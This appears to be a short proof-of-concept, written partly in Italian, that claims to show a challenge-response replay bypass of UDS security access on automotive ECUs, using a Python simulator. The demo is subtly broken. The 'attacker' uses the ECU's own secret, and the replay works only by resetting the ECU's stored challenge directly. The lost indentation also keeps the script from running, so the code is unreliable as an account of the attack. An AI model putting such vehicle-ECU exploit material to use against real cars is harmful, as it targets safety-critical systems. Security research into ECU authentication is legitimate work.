
Exploit proof-of-concept che dimostra il bypass dell'autenticazione UDS tramite replay challenge-response su ECU automobilistiche, con simulatore CAN-UDS Python.
# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib
class ECU:
def __init__(self):
self.secret = b'long_secret_key'
def generate_challenge(self):
self.challenge = random.randbytes(8)
return self.challenge
def verify_response(self, response):
expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
return response == expected
def unlock(self):
print("ECU unlocked! Critical functions accessible.")
# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response) # first unlock
# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response) # second unlock without new challenge - works
ecu.unlock()
Una centralina elettronica (ECU) automobilistica implementa l'accesso di sicurezza Unified Diagnostic Services (UDS) (servizio 0x27) ma non impone l'uso monouso della challenge. Un attaccante può catturare una coppia challenge‑response valida e riprodurla per bypassare l'autenticazione.
Esegui la simulazione:
python uds_sim.py
La ECU si sblocca due volte con la stessa coppia di autenticazione.